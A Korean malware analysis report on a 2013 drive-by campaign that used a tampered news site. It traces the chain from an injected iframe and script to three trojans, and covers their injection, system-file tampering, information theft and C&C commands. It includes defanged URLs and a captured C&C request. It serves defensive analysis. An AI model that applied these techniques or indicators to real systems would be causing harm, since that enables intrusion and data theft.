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1. 악성코드 분석 

1-1. 유포경로 

2013년 5월 30일 “3.20 전산망 대란” 악성코드와 비슷한 특징를 가진 파일이 변조 된 웹사이트를 통해 유포시도

를 포착했다. 

기존 Drive-By download나 Watering Hole Attack와 같은 웹사이트 방문 만으로 악성코드가 감염되는 상황은 같

으나 취약점으로 이용한 방법이 기존 인터넷 브라우저나 java, flash가 아니다. 

3.20 사이버테러 분석 경험을 포함해 그 이전의 관련 이슈들에 대해 이력이나 전후 상황을 분석가가 알고 있어

야 관련성을 찾을 수 있다. 

 

원본 시드 : hxxp://www.honestnews.co.kr/xe/index.php (어니스트 뉴스 – 인터넷 신문) 

경유 시드 : hxxp://augustine.**.**/***/***/icon.js (어거스틴 – 유아동복 전문 쇼핑몰, 현재는 웹하드로 변경) 

 

(어니스트뉴스 홈페이지에 삽입 되어 있는 iframe 태그) 

 

삽입 된 코드 “icon.js” 파일의 내용은 아래와 같다. 
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※  악성 스크립트 “icon.js” 파일에 의해 특정 프로그램과 되는 통신하여 다운로드 받는 내용 

 

 

  

http://www.****.or.or.kr/upload/2011122816281861_jsp.jsp?q=C0A81565189E005051CD2FD86B83D2C11D49FED

A12FD22;RQ9//5/uFk5jEaEd7mkJyJR8MiQzprGTCBgdyJ0Ac4bPjctwf4nCQilOQ1JmNVomGvRlKdMaybWUa7pFuH

mt/3RDgY4Yu2%2BXM7RwpIkhSRk%3D%3Becs4%2BjpzBQj8FSM%2B4Clzk1pxWd4%3D 

POST 

/upload/2011122816281861_jsp.jsp?q=C0A81565189E005051CD2FD86B83D2C11D49FEDA12FD22;RQ9//5/uFk5j

EaEd7mkJyJR8MiQzprGTCBgdyJ0Ac4bPjctwf4nCQilOQ1JmNVomGvRlKdMaybWUa7pFuHmt/3RDgY4Yu2%2BXM7

RwpIkhSRk%3D%3Becs4%2BjpzBQj8FSM%2B4Clzk1pxWd4%3D HTTP/1.1 

User-Agent: Molliza /4.0 (compatible; ******Web Ctl) 

Host: www.****.or.or.kr 

Content-Length: 0 

Connection: Keep-Alive 

Cache-Control: no-cache 

Cookie:__utma=232969222.76267358.1370046134.1370046134.1370046134.1; 

__utmb=232969222.1.10.1370046134; 

__utmz=232969222.1370046134.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) 
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1-2. 악성파일 분석 

※ 현재까지 확인 된 사항을 토대로 보고서 작성 

※ 차후 추가 되는 정보나 파일은 지속적으로 추가 

 

1차 수집 된 파일정보 (2013-05-30) 

Detection Name File Name 악성 행위 

Trojan.Downloader.XeWeb sxs.dll 다운로더 역할 수행 

Trojan.Infostealer.CMB kbdusv.exe 파일생성, 파일변조 및 프로세스 인젝션 

Trojan.Infostealer.CMB snddev.dll 정보유출 및 C&C서버 통신 

 

1-2-1. sxs.dll (Trojan.Downloader.XeWeb) 

 

- 파일 다운로드 

악성코드가 설치되는 특수한 환경이 되면 C:\Program Files\Internet Explorer\sxs.dll 위치에 파일이 생성된다. 

차후 C:\Program Files\Internet Explorer\pbn.dll로 파일명이 수정된다. 

 

 

또한 특정서버에서 파일(hxxp://augustine.**.**/***/***/icon_03.gif)을 다운로드 한다. 

다운로드 된 icon_03.gif 파일은 C:\Documents and Settings\[사용자]\Local Settings\Temp\kbdusv.exe 파일을 

생성 후 실행시키는 역할을 수행한다. 

 

 

 

1-2-2. kbdusv.exe (Trojan.Infostealer.CMB) 

 

- 감염 여부 확인 

RegOpenKeyExA 함수호출 
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→ 오픈 성공이면 감염 된 대상으로 판단하여 프로그램 종료 

→ 오픈 실패면 공격 대상으로 판단하여 RegCreateKeyExA 함수를 이용하여 차후 중복 실행을 방지하기 위해  

레지스트리 생성 

 

 

- 파일 생성 

C:\WINDOWS\system32\snddev.dll 파일을 생성한다. 
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- 정상 파일 변조 

파일시스템에서 직접 cscdll.dll 파일의 MFT Entry를 찾아서 cscdll.dll 파일의 영역을 변조 시킨다. 

변조 된 C:\WINDOWS\system32\cscdll.dll 파일은 생성 된 snddev.dll 파일을 로드시키는 역할을 한다. 

(※ 윈도우 비스타 이상에서는 OS정책으로 해당 파일 감염 불가능) 

 

 

- 파일 인젝션 

현재 동작 중인 프로세스 중 Winlogon.exe 프로세스를 찾아서 snddev.dll 파일을 인젝션 시킨다. 

 

 

- 시스템 정보 수집 및 자가 삭제 

감염 된 시스템의 정보를 systeminfo 명령어를 이용하여 수집하고, 실행 된 자기 자신을 삭제 시킨다. 
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1-2-3. snddev.dll (Trojan.Infostealer.CMB) 

 

- 감염 여부 확인 

OpenFileMappingA 함수호출 

→ 오픈 성공이면 감염 된 대상으로 판단하여 프로그램 종료 

→ 오픈 실패면 공격 대상으로 판단하여 CreateFileMappingA 함수를 이용하여 차후 중복 실행을 방지하기 위해 

파일매핑 생성 후 스레드를 동작 시킨다. 

 

 

- 스레드 생성 

해당 파일에서는 총 3개의 Thread가 생성 되며, 암호화 된 문자열을 디코드 및 C&C 명령코드를 해석 및  

실행 시키는 행위를 한다. 

 

- 서버 접속 문자열 디코드 스레드 

감염 된 시스템의 정보를 전송하는 서버는 총 5개로 모두 난독화 되어있으며,  

전송 시에는 암호화 방식으로 서버로 전송 된다. 
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분석 시 서버와 접속 후, 통신 된 내용은 아래와 같다. 

암호화 된 내용을 난독화 해제 시에는 특정한 문자열 임을 알 수 있다. 
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- C&C 명령어 스레드 

해당 악성코드에서 C&C 서버와 통신 할 수 있는 명령어는 크게 3가지로 구분 된다. 

1. 레지스트리 생성 

2. Cmd.exe를 이용한 명령어 실행 

3. 특정 파일 다운로드 

 

1. 자신이 사용하는 레지스트리 등록 
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2. cmd.exe를 이용한 명령어 실행 

Cmd.exe 명령어를 통해 감염 된 시스템의 정보를 대부분 수집 가능하다. 

(systeminfo:시스템 상세정보, ipconfig:네트워크 정보, tasklist:동작 중인 프로세스 리스트, dir:디렉토리 정보 등) 
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3. 특정 파일 다운로드 

 

 


